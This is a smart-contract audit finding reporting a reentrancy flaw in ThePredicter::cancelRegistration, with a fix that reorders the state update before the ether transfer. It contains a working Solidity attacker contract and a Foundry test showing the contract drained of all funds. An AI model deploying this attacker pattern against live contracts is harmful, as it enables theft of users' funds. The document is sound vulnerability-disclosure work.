Summary
ThePredicter contract is vulnerable to reentrancy attack which could drain all of it's funds when cancelling registration.
Vulnerability Details
The method ThePredicter::cancelRegistration
allows user to cancel their registration and withdraw the registration fee that they deposited. However, the method does not follow the CEI pattern which makes it vulnerable to reentrancy attack. This allows draining all it's funds.
Impact
ThePredicter
contract loses all of it's funds and eligable for reward players and the organizer - Ivan will not be able to wittdraw funds.
Tools Used
Manual Review, Foundry
Proof of code
Create the following contract in the test
folder and name it Attacker.sol
:
pragma solidity ^0.8.13;
import "../src/ThePredicter.sol";
contract Attacker {
ThePredicter public target;
constructor(address _target) {
target = ThePredicter(_target);
}
receive() external payable {
if (address(target).balance >= 0.04 ether) {
target.cancelRegistration();
}
}
function attack() external payable {
require(msg.value >= target.entranceFee(), "Insufficient ether sent");
target.register{value: msg.value}();
target.cancelRegistration();
}
}
Import it in ThePredicter.test.sol
:
import {ScoreBoard} from "../src/ScoreBoard.sol";
+ import {Attacker} from "./Attacker.sol";
Add the following test case to ThePredicter.test.sol
:
function test_canDrainThePredicterContractFunds() public {
address stranger2 = makeAddr("stranger2");
Attacker attacker = new Attacker(address(thePredicter));
uint256 registrationFee = thePredicter.entranceFee();
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: registrationFee}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: registrationFee}();
vm.stopPrank();
assert(address(thePredicter).balance == 2 * registrationFee);
address stranger3 = makeAddr("stranger3");
vm.deal(stranger3, 1 ether);
vm.startPrank(stranger3);
attacker.attack{value: registrationFee}();
vm.stopPrank();
assert(address(attacker).balance == 3 * registrationFee);
assert(address(thePredicter).balance == 0);
}
-
Execute the following command: forge test --mt test_canDrainThePredicterContractFunds
-
Verify that the ThePredicter
contract was drained of funds.
Recommendations
Rewrite the method ThePredicter::cancelRegistration
in the following way so it follows the CEI pattern (interactions such as transfers must be executed after state updating):
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
- (bool success, ) = msg.sender.call{value: entranceFee}("");
- require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
+ playersStatus[msg.sender] = Status.Canceled;
+ (bool success, ) = msg.sender.call{value: entranceFee}("");
+ require(success, "Failed to withdraw");
return;
}